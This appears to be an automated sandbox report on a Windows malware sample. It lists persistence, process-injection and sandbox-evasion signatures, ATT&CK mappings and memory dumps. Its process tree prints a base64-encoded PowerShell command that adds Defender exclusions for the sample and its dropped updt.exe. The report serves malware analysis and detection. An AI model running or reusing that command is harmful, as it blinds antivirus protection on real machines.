Analysis
- max time kernel
899s - max time network
584s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
24/09/2026, 07:27
General
- Target aa6ee5797773a528b35dcf3e17b21fdd04754a8b9abb21d7d7414d2723cbe5c9.exe
- Size 3.3MB
- Sample260924-jac6lsvx7r
- SHA256 aa6ee5797773a528b35dcf3e17b21fdd04754a8b9abb21d7d7414d2723cbe5c9
Malware Config
Signatures
- Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
- Executes dropped EXE 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Suspicious use of SetThreadContext 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Checks SCSI registry key(s) 3 TTPs 62 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Modifies Internet Explorer settings 1 TTPs 1 IoCs
- Modifies registry class 39 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 53 IoCs
- Suspicious use of SendNotifyMessage 41 IoCs
- Suspicious use of SetWindowsHookEx 3 IoCs
- Suspicious use of WriteProcessMemory 12 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\aa6ee5797773a528b35dcf3e17b21fdd04754a8b9abb21d7d7414d2723cbe5c9.exe"C:\Users\Admin\AppData\Local\Temp\aa6ee5797773a528b35dcf3e17b21fdd04754a8b9abb21d7d7414d2723cbe5c9.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAYQBhADYAZQBlADUANwA5ADcANwA3ADMAYQA1ADIAOABiADMANQBkAGMAZgAzAGUAMQA3AGIAMgAxAGYAZABkADAANAA3ADUANABhADgAYgA5AGEAYgBiADIAMQBkADcAZAA3ADQAMQA0AGQAMgA3ADIAMwBjAGIAZQA1AGMAOQAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABhAGEANgBlAGUANQA3ADkANwA3ADcAMwBhADUAMgA4AGIAMwA1AGQAYwBmADMAZQAxADcAYgAyADEAZgBkAGQAMAA0ADcANQA0AGEAOABiADkAYQBiAGIAMgAxAGQANwBkADcANAAxADQAZAAyADcAMgAzAGMAYgBlADUAYwA5AC4AZQB4AGUAOwBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAB1AHAAZAB0AC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHUAcABkAHQALgBlAHgAZQA=2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\updt.exeC:\Users\Admin\AppData\Local\Temp\updt.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"2⤵
- System Location Discovery: System Language Discovery
-
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
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C:\Windows\system32\sihost.exesihost.exe1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
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C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS2⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
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C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
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C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
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C:\Windows\System32\SecurityHealthHost.exe\\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding1⤵
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
2Active Setup
1Registry Run Keys / Startup Folder
1Privilege Escalation
Boot or Logon Autostart Execution
2Active Setup
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
prep_Activatable Class_Hermes_perf.cache
updt.exe
memory/2440-6038-0x0000000070280000-0x00000000702CC000-memory.dmp
memory/2440-6027-0x00000000050B0000-0x00000000050D2000-memory.dmp
memory/2440-8230-0x0000000074C50000-0x000000007540C000-memory.dmp
memory/2440-7951-0x0000000074C50000-0x000000007540C000-memory.dmp
memory/2440-7949-0x0000000074C50000-0x000000007540C000-memory.dmp
memory/2440-7291-0x0000000074C50000-0x000000007540C000-memory.dmp
memory/2440-6048-0x0000000007460000-0x00000000074F6000-memory.dmp
memory/2440-6046-0x0000000007260000-0x000000000726A000-memory.dmp
memory/2440-6045-0x00000000071F0000-0x000000000720A000-memory.dmp
memory/2440-6044-0x0000000007830000-0x0000000007EAC000-memory.dmp
memory/2440-6043-0x0000000074C50000-0x000000007540C000-memory.dmp
memory/2440-6042-0x00000000070A0000-0x0000000007143000-memory.dmp
memory/2440-7953-0x0000000074C50000-0x000000007540C000-memory.dmp
memory/2440-6023-0x0000000002670000-0x00000000026A6000-memory.dmp
memory/2440-6033-0x0000000005AA0000-0x0000000005DFB000-memory.dmp
memory/2440-6036-0x0000000007060000-0x0000000007096000-memory.dmp
memory/2440-6035-0x0000000005EB0000-0x0000000005EFC000-memory.dmp
memory/2440-6034-0x0000000005E70000-0x0000000005E8E000-memory.dmp
memory/2440-6037-0x0000000074C50000-0x000000007540C000-memory.dmp
memory/2440-6028-0x00000000058C0000-0x0000000005926000-memory.dmp
memory/2440-6031-0x0000000005930000-0x0000000005996000-memory.dmp
memory/2440-6032-0x0000000074C50000-0x000000007540C000-memory.dmp
memory/2440-6041-0x0000000006440000-0x0000000006460000-memory.dmp
memory/2440-6025-0x0000000074C50000-0x000000007540C000-memory.dmp
memory/2440-6026-0x00000000051C0000-0x000000000580A000-memory.dmp
memory/2440-6024-0x0000000074C50000-0x000000007540C000-memory.dmp
memory/2668-40-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-68-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-60-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-62-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-58-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-56-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-54-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-52-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-64-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-76-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-74-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-72-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-70-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-80-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-86-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-92-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-90-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-104-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-108-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-106-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-102-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-124-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-122-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-120-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-118-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-116-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-132-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-130-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-128-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-126-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-114-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-112-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-110-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-100-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-98-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-96-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-94-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-88-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-84-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-82-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-78-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-38-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-66-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-1815-0x0000000074C62000-0x0000000074C63000-memory.dmp
memory/2668-1979-0x0000000074C50000-0x000000007540C000-memory.dmp
memory/2668-6019-0x0000000074C50000-0x000000007540C000-memory.dmp
memory/2668-6020-0x0000000009240000-0x0000000009320000-memory.dmp
memory/2668-6021-0x0000000007950000-0x0000000007A2E000-memory.dmp
memory/2668-6022-0x0000000007A30000-0x0000000007A7C000-memory.dmp
memory/2668-0-0x0000000074C62000-0x0000000074C63000-memory.dmp
memory/2668-42-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-48-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-50-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-36-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-45-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-46-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-10-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-12-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-14-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-17-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-20-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-24-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-26-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-28-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-30-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-22-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-32-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-34-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-18-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-6047-0x0000000007190000-0x00000000071E4000-memory.dmp
memory/2668-8-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-1-0x0000000000700000-0x0000000000A60000-memory.dmp
memory/2668-2-0x00000000059A0000-0x0000000005F5A000-memory.dmp
memory/2668-3-0x0000000005480000-0x0000000005512000-memory.dmp
memory/2668-7-0x0000000008AF0000-0x0000000008E46000-memory.dmp
memory/2668-7290-0x0000000074C50000-0x000000007540C000-memory.dmp
memory/2668-6-0x0000000008AF0000-0x0000000008E4C000-memory.dmp
memory/2668-4-0x0000000005440000-0x000000000544A000-memory.dmp
memory/2668-5-0x0000000074C50000-0x000000007540C000-memory.dmp
memory/5756-7950-0x0000000005600000-0x0000000005656000-memory.dmp
memory/5756-6050-0x0000000000400000-0x0000000000492000-memory.dmp
memory/5756-6052-0x0000000074C50000-0x000000007540C000-memory.dmp
memory/5756-8763-0x0000000074C50000-0x000000007540C000-memory.dmp
memory/5756-6051-0x0000000005510000-0x00000000055DA000-memory.dmp